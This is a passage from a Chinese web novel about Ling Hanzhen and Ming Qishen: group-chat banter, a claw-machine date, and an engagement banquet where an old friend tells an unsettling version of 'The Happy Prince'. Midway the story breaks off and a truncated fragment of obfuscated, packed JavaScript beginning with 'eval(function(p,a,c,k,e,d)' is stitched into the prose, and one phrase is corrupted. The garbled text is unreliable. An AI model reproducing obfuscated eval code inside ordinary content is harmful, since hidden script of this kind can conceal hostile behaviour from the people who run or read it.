于是他不想再被强调他跟明栖深的婚姻关系,又想起一件因为太忙而遗忘了的事情,便直接发:【差点忘了,我领证那天,梁书航来找我,非说什么我暗恋了他十年,怎么就要跟别人结婚,是不是被威胁了,还说他要救我,允许我喜欢他了,他也会试着喜欢我,反正说了很多莫名其妙的话,我怎么跟他解释我不喜欢他跟他也不熟,他就是不信。我觉得他太自恋了,脑子也有点问题,跟听不懂人话似的,所以以后我不会再跟他说话了,免得他再误会。】 梁书航是他们都认识的人,以后有很大概率还会出现在统一公共场合的,如果到时候他不理人家,一定会让人奇怪,因此有必要解释一下。 铭铭:【什么?!他也是男同?!】 豆豆:【哈哈哈哈哈哈哈笑死我了哈哈哈哈哈哈真看不出来啊这小子哈哈哈哈哈哈】 真真:【你是攻,不能这么笑】 鱼鱼:【你是攻,不能这么笑】 卷卷:【你是攻,不能这么笑】 铭铭:【你是攻,不能这么笑】 谢奕清:【呵,有趣。这件事我知道了,我会处理的(神情冷淡,眸中尽是轻蔑之意)】 大家都给他发了三个竖起的大拇指。 铭铭:【你们男同太讲究了】 卷卷:【是比儿童讲究一些】 中午吃完饭,凌含真又收到了一条信息,虽然依旧是询问他跟明栖深结婚消息的,但让他在惊讶之余颇感高兴,因为询问者秦晏是他年少时十分交好的一位朋友,只是由于对方家里出了问题,被匆匆送去了国外,他们许久都没有联系了。 他照常一板一眼感谢了对方的关心,正犹豫要不要询问对方的近况,便收到了回复:【我能给你打电话吗?】 秦晏显然还记得他的各种麻烦的小规矩,给他打电话之前不忘征求一下他的同意。 凌含真应允了。 电话另一端传来了温柔的男声:“真真。” 凌含真简短“嗯”了一声,表示自己的存在。 “我在新闻上看到,你跟明家那位……要结婚了?”秦晏斟酌着语句,小心翼翼试探,“是交往了很久后决定的吗?你们,和好了?” 对方问的问题连凌含真自己都不知道,他和明栖深现在的关系十分微妙,他们都在刻意跳过离别的九年以及决裂的不愉快,试图恢复兄友弟恭的关系,维持着一种表面的和谐与平衡,与其说是婚姻关系,不如说依旧保持着兄弟关系。不过无论好还是不好,对外都肯定要展现出“好”的,这个道理他很清楚,于是又是一声“嗯”。 “那就好。”秦晏温声道,“你现在过得好,作为朋友,我很高兴。” 凌含真说了句“谢谢”又觉得自己太冷漠了,于是主动关心对方,“你家的事都解决了吗?” “已经没什么事了。”秦晏道,“以后我就是独立的,再也不会跟他们扯上关系。” 凌含真道:“不错。那还回来吗?” “已经回来了,刚回来。”秦晏道,“外面再好,都不如家里安心。” 他顿了顿,又用那种小心翼翼的、试探性的语气问:“你最近要订婚了吗?你订婚的时候,我可以去祝贺吗?” “可以啊,这个月20号。”凌含真道,“我们订婚是私宴,不对外开放,你想来玩的话,就把地址给我,我给你寄请帖,不要把照片视频文字描述之类的外传就行。” “好,我知道的。”对方的语气一下子轻快了许多,似乎松了口气,“我很期待能与你相见,真真。” 凌含真算不上期待,但也挺高兴,毕竟与阔别已久的故人重逢是人生一大乐事。 *** 凌含真顺利跟许聆和赵言铭出去旅游,度过了十分愉快的一段假期。 7月13日中午,三个人去附近的一所高中门口打卡,凌含真忽然收到了明栖深的通话请求,于是趁那俩人打卡的时候接了:“怎么了?” 明栖深问:“在哪儿?” 凌含真精准地报自己的定位:“白杨市安仁区第一高中东门门口。” “……怎么去了那里?” 凌含真解释:“卷卷喜欢的一本校园小说主角学校的原型就在这里,他要来打卡。” 明栖深随意“嗯”了一声,又问:“你猜我在哪儿?” 凌含真愣了一下,立即明白了他的意思,音量不自觉有些拔高:“你不是出差去了吗?” “忙里偷闲,溜班了。”明栖深笑,“我去找你?” 他的声音很正常,只是简单的询问,没有任何暧昧的因素,凌含真的耳朵还是因为这句话渐渐热了起来,喉咙因为慌张而有些发干,片刻后才慢吞吞道:“那我要问一下,他们两个愿不愿意带你玩。” “你问吧。”明栖深道,“我继续开车了,问好了给我发条消息。” 他虽然是征询,但显然已经自己开车过来了,凌含真挂了电话,转向因为他刚才提高音量而盯过来的同伴:“我……我哥说他也在,想要来跟我们一起。” 他开口时有些卡顿,因为一时间竟不知道该如何称呼明栖深,最后还是用了旧称。 明栖深到底算个兄长,临时要过来,会让人有种家长查岗的紧张感,必须要征求一下意见。 许聆抓住了重点:“你怎么还叫他哥啊?你们都领证了!” 凌含真一顿:“那叫什么?” “当然叫老公啊。”许聆恨铁不成钢道,“你们现在是夫夫,又不是兄弟了,你还整天叫他哥,他能把你当对象吗?” 他看着凌含真眼睛睁大,瞳孔骤缩,一脸震惊,立马有了不祥的预感,一个荒谬的想法在他脑海中升起,他不敢置信地问:“你们已经上过床了?你不会……是1吧?!” 凌含真:“???!!!” “我不允许!你居然逆我cp!”许聆爆发出绝望的哀嚎,痛苦地扒在旁边的围墙上,“我要跟你绝交!架可以打,钱可以花,但你要是逆我cp,对不起,兄弟变仇敌!” 他稍微想象了一下被逆的场景,觉得天都塌了。 “不会的。”凌含真冷静下来,认真分析,“首先我没有当1的资本。据统计,小江文学城的1平均水平已经是30了,而小花文学城的1已经可以把资本盘在腰上了。我哪里都比不过。其次,我没有当1的想法。如果他也不想当,那我们也可以柏拉图,那种事并不是必需品。” 许聆满意下来:“不错,宁可柏拉图,也不能逆cp。” 赵言铭问:“什么是逆cp?” “小孩子不要问。”许聆跟他说,“太好了,明七哥来的话,我俩肯定不能当电灯泡,今天周六,那中午就去打大攻防吧,现在是十一点半,我们赶去网咖还能排上队。” 果然赵言铭很高兴,立刻忘了什么是逆cp,接受了他的建议,又叮嘱凌含真:“你们约会结束要是还记得我们的话,就来网咖看我们,送点吃的。我们晚上还有一场呢,你们只管好好约会。” 凌含真答应了,陪他们去找网咖,可惜学校附近不能有这种东西,还得让司机送他们去三公里外,才找到一家环境不错的,于是给明栖深发了个定位,表示自己在这里等。 明栖深过了两分钟回他:【二十分钟内到】 比想象的要快很多,凌含真有些惊讶,看来一开始就离得不远。 网咖旁边是一家无人娃娃机店,此时一个人都没有,正好可以进去打发时间,他跟明栖深说了一声,便按照说明换了币,开始挨个尝试。 他一向不喜欢这种有抽奖性质看运气的东西,更喜欢拿钱直接买到的,还是第一次尝试,本来只是打发时间,没想到一圈下来,没有一台机子能抓到,不免倔了起来。 等明栖深到的时候,就看见他绷着一张脸,苦苦跟机子作斗争,面前新换了一整盒的币,听到有人进来的动静,头都没转一下,便判定是明栖深:“你等我一下,我一定要抓一只出来。” “怎么了?”明栖深走到他身边,“抓不到生气呢?喜欢哪个,我给你抓。” 凌含真又失败了,眉头拧得更紧,闻言才偏过脸望向他:“你会玩这个吗?” 他语气淡,神情冷漠,因此说话总会 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明栖深背对着他,在一侧抓,恰好此时也抓到了,走过来把娃娃塞到他怀里:“我也刚刚抓到。” 凌含真下意识抱住,不由低头看,很大一只娃娃,占据了他整个怀抱,长得也很奇怪,看起来像是只圆滚滚的鸟,整体身躯是白色,头上却有一簇黑色的鸟毛,背后的花纹竟然像是三花猫,三角嘴是绣上去的,笑得很开心,有种又丑又萌的感觉。 “这是什么东西啊?”他抬头望向明栖深,“我从来没见过这种动物。” 明栖深简短道:“鸟。” 凌含真:“……我当然知道是鸟,但这是什么鸟?哪有长成这样的?” 店里很冷清,除了他们两个外没有客人,也无人看管,根本不知道问谁,他想了想,拿出手机:“我淘宝识图一下。” 这种玩偶肯定是批发的,网店一定会有同款。 他识图完毕,面上起了微妙的变化,像是无语。 “是什么?”明栖深凑过去看,也无语起来,“这东西是燕子?哪里像燕子?” “商家说是燕子。”凌含真沉痛地念,“燕子玩偶可爱礼物送闺蜜送宝宝……真是侮辱了燕子。” “燕子就燕子吧。”明栖深道,“拿着我们带回家去摆,这可是我抓到的第一个玩具。你抓的呢?” 凌含真抽出一只手把玩偶递给他看:“这个。” 相比较起来,他抓到的要正常的多,是只圆乎乎的鹅黄色小鸟幼崽,也可爱许多。 “不过也看不出来是什么鸟。”凌含真琢磨,“小鸡?小鸭?怎么都是鸟?” “小天鹅。”明栖深说。 “小天鹅不是这样的,小天鹅是灰的。”凌含真道,“虽然《丑小鸭》里说鸭子幼崽和天鹅幼崽很像,但实际上天鹅幼崽……” “我说你是小天鹅。”明栖深愉悦地打断他,抽走了他的小天鹅,往边上的机器走去,“还剩很多币,索性用完吧,看看能抓多少。” 凌含真蓦地噤声,没了任何气势,半天才憋出一个虚弱的“嗯”字,转过身去了另一侧,耳根已经红透了。 明栖深以前就喜欢给他起各种各样的昵称,小天鹅是最常用的之一。 一整个下午,两个人都泡在了店里,换了好几次币,其间陆陆续续来了不少客人,但过不了多久就走了,最后还是只剩下他们。 一直到太阳渐渐西沉,凌含真才觉尽兴,这一趟收获颇丰,两个人把玩偶送回车上,来来回回跑了好几次才送完,车的后备箱里装的全是玩偶,他最喜欢的反而是明栖深第一次给他抓到的燕子了,兴致勃勃抱在怀里不愿意放下,跟明栖深去找地方吃饭,还要给网咖里的两个人带一些。 两个人在附近悠闲地转悠,凌含真一直弯着眉眼,满身满心欢喜都溢了出来,淌到了明栖深身上,沾得两个人全身都是蜜。他担心明栖深想多,不由叮嘱:“我就是玩一次,并不是喜欢玩,你可别回头往家里买几台啊。” 他不是喜欢抓娃娃,而是喜欢跟明栖深一起玩,什么也不用考虑,度过一个单纯愉快的下午,本身就是一件极其美好的事了。 明栖深莞尔:“知道了。”他还真有这个想法。 快到傍晚的阳光沉甸甸的,如同扬起的金粉,洒在人身上,镀上的光彩比正午时还要耀眼,他的目光停在凌含真舒展的眉眼间,忽然觉得,无论是3.5亿的珠宝,还是10.8亿的城堡,似乎都比不上几百块的玩偶能让对方开心。 21.第二十一章 旅游回来后,凌含真又开始忙得脚不沾地,筹备自己的订婚事宜,虽然大多数事情都无需他操办,但还是有许多东西要他亲自过目。 明栖深显然比他更忙,俩人同住一个屋檐下,竟然连碰面都没有几次。 20号一大早,凌含真便起来换礼服做造型,化妆师已经为难了好几天,最后还是没舍得在他完美无缺的脸上多下手,只添了几笔颜色和闪粉增添光彩,就足以引来所有人的惊叹。 让他意外的是,秦晏竟然是他的朋友里到得最早的,彼时尚且没什么人,他刚刚做完造型,还在海边无聊地漫步,等明栖深做好,余光瞥见有人朝他走来,下意识抬头望去,觉得眼熟又陌生,皱眉思索,等人走到他面前了才想起来,问:“秦晏?” 在他的印象里,秦晏是一个温柔体贴到甚至有些卑微的人,因为是家族的私生子,快十岁的时候才被接回家,受尽歧视和白眼,所以跟他们这些正统的少爷小姐不同,被欺负是常有的事。 虽然是同校,但凌含真很公平地不搭理绝大多数人,更何况是一个半路的转校生。他们的相识始于一场意外,那日中午,秦晏在学校网球场被同家族的兄弟带着几个人欺凌,恰好凌含真来找自己遗落的外套,撞上了这一幕,他不爱理人,然而基本的正义感还是有的,立即呵斥了欺凌的人,欺凌者自然不敢跟他作对,当场四散了。 他大致了解了一下状况,认为都是大人的错,秦晏这个小孩是无辜的,于是告诉对方,要是再被欺负,可以来找他。 此后秦晏再被欺负,都会有凌含真的身影,后来他家里出事,他没再去学校,也就无暇顾及到对方了,然而不知道为什么,渐渐传出是他欺凌秦晏的流言,流言越传越汹涌,以至于几乎所有人都深信不疑。 秦晏给他打电话哭诉不知道为什么会这样,说自己怎么解释别人都不听。他当时自己正陷在泥沼之中,反过来还得劝慰过对方,不要在意别人的看法,他自己都不在意。喜欢他的人很多,讨厌他的人更多,倘若每个人的看法他都要在乎,并绕费口舌地解释,强迫别人认同他,会活得很累。 他只需要在乎身边的人就好了。 对方跟小时候的瘦弱可怜模样相比起来变化太大了,长高了许多,模样俊秀了许多,只眉眼依稀有少年时的痕迹,态度仍然温和道有些卑微,见到他时,眼中的惊艳和喜悦怎么都藏不住,声音也扬高了许多:“真真。”在听到自己的名字被念出来后,更是高兴,“没想到你还能认出我。” 凌含真道:“猜的,来的基本我都认识,没见过的很少。” “你能记得我就好。”对方笑道,“我刚问了侍从才知道你在这里。这是一点心意,给你玩。” 说话间他递给凌含真一个精巧的红丝绒礼盒,只有半个巴掌大小。 凌含真看都没看一眼:“说了不收礼物,来玩而已,拿回去吧。” 他的话是不容置疑的,再坚持只会惹来他的反感,对方很了解这一点,顿了一下后,就顺从地放在了口袋里。 被拒绝礼物是一件难过的事,凌含真认为按照社交礼仪,这个时候他应该和对方叙叙旧,寒暄一番,于是开始思索比较合适的问题,还未想出来,对方已经开口:“这就是……‘快乐王子’吗?” 凌含真一时间没听懂,见对方的目光偏下,落在自己胸膛前,也顺着低头:“什么快乐王子?这个胸针?” 是明栖深送给他的胸针,特意叮嘱要他在订婚宴上戴着的,他照着做了,意外发现效果还不错,鲜艳华丽的宝石胸针在纯白的礼服上,的确更加衬人。 “对,这枚胸针。”秦晏的目光凝固住,声音很轻,平静陈述着,“珠宝大师洛卡的遗世之作,命名为‘快乐王子’,因为造型华丽诡异,加之大师是抑郁而亡,所以这件作品被人认为会带来不幸,很长一段时间都没有下落。前段时间于嘉士利拍卖会上现身,被明栖深以3.5亿的价格拍下。外面都传他花大价钱在追求一位年轻男性……”他忽然噤声,随即自嘲一笑,“果然,是送给你的。” 凌含真:“……啊?!” 他的声音一反常态地拔高,以至于秦晏也被他吓了一跳,忙问:“怎么了?你不知道吗?” “谢谢你。”凌含真的语气和神情很快恢复平静,“你不告诉我我还真不知道。” 对方说了一大堆,他都转瞬就忘,只听到“被明栖深以3.5亿的价格拍下”几个字,脑中立即平地起惊雷,炸开了。 他还说3.5亿是哪个败家子富二代,万万没想到,就是他家的! 秦晏观察他的神色,再也看不出异样,笑了笑,问:“你听说过快乐王子的故事吗?” “当然。”凌含真奇怪道,“这是小学学的课文啊,你忘了吗?” “那是大众所知的。”秦晏道,“我还听过另一个版本的,你想听吗?” 反正还没开始忙,其他客人也没来,凌含真不在意道:“你说吧。” 秦晏温声道:“快乐王子的雕像屹立在城市的最高处,他美丽尊贵,高不可攀,每个人都很爱他,爱意形成保护罩,最忠实的燕子骑士也一直停留在他的肩上,将他牢牢保护着。平凡的燕子也想要靠近他,做他唯一的骑士,可他是那样尊贵,那样遥不可及,于是燕子和巫师做了交易,获得了强大的力量。它撕开了快乐王子的保护罩,赶走了忠实的燕子骑士,叼走了王子的金箔、蓝宝石的眼睛、镶嵌着红宝石的佩剑,它要折断王子的羽翼和双腿,将王子私藏起来,变成它自己的所有物……” 他越说语速越快,凌含真却越听眉头皱得越紧,终于有些不高兴地打断他:“我不喜欢暗黑版的童话,以后这种故事不要再说了。” 秦晏渐趋兴奋的声音戛然而止,换回了温柔到近乎卑微的态度和语气:“好,你不喜欢,我就不说了。” 凌含真原本舒畅的心情因为这个怪异的暗□□而心生别扭,好在明栖深的声音及时想起,驱散了他的阴霾:“真真。” 他闻声立刻望去,看见明栖深的一瞬,只觉眼前一亮,眉眼都不自觉舒展开来,染了几分笑意:“你终于好了。” 明栖深穿的是深蓝色礼服,同其较为深邃的五官极为相衬,愈发显得俊美不凡,宽肩窄腰,高大挺拔,同样别了一枚天鹅型的蓝宝石胸针,只是跟他的比起来要小一些,淡雅许多。 明栖深已经走到他身边,十分自然地牵起他的手,随即将他打量一番,夸赞道:“果然只有你能戴。” 凌含真问:“我怎么没有见过你这枚?” 明栖深道:“定制的,正好跟你配成一对。” 凌含真脸不由热了一下,不好意思再看他,想调侃他一下“也是3.5亿吗”,但碍于有外人在,还是没开口。 倒是明栖深,跟他说完话后,目光才转向秦晏:“是真真的朋友吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的语气要正常得多,显得理所当然,明栖深也想到了这一点,于是顿住,没有再问。 只是那种包装纸覆在心里,沾上水,怎么都揭不开的磨人难受的感觉,一直在他心里沉着,越来越深。 人渐渐多了起来,两个人都再无空闲,明栖深要替凌含真挡去大部分的社交,那种感觉暂时被忙碌压了下去。 订婚私宴要自由散漫许多,只有两名记者拍照,发布指定的官方消息。凌家这边已经没有人了,来的都是明家本家的,以及两个人的好友,凌含真自然都认识,一一接受着祝福,并给予简短的回应,下午陪着亲友游戏娱乐,如此也不知不觉度过了一天。 晚上宴会依旧,明栖深怕影响凌含真休息,提前带人离开,在晚上九点的时候到了家。 大概是疲惫了,回卧室的路上,明栖深异常沉默,在卧室门口停下时,依旧牵着凌含真的手,没有放开的意思,似乎在发怔。 凌含真抬眼看他,有些担忧地问:“哥,你是不是醉了?” 他不喜欢酒精,喝了更会难受,但他有足够的特权,在敬酒的时候喝的是无酒精鸡尾酒,并且只是小小抿一下做做样子,不会有人为难他,也因此所有的为难都落在了明栖深的身上,亲友灌酒灌得毫不客气,好在明栖深酒量不错,应付自如,没有任何失态。 如今看来,在离开觥筹交错的宴席后,还是会有点失态的。 他十分清楚对方喝了许多,离得如此之近,他的鼻息间尽是对方身上爱尔兰威士忌的果香。 他不喜欢酒味,可是在明栖深身上,这种味道就酿成了独特的香气,微醺,在昏黄的夜灯中弥漫着,萦绕着,视线和思维,都仿佛浸入了琥珀色的酒中,朦胧而荡漾,渐渐有些醉人了。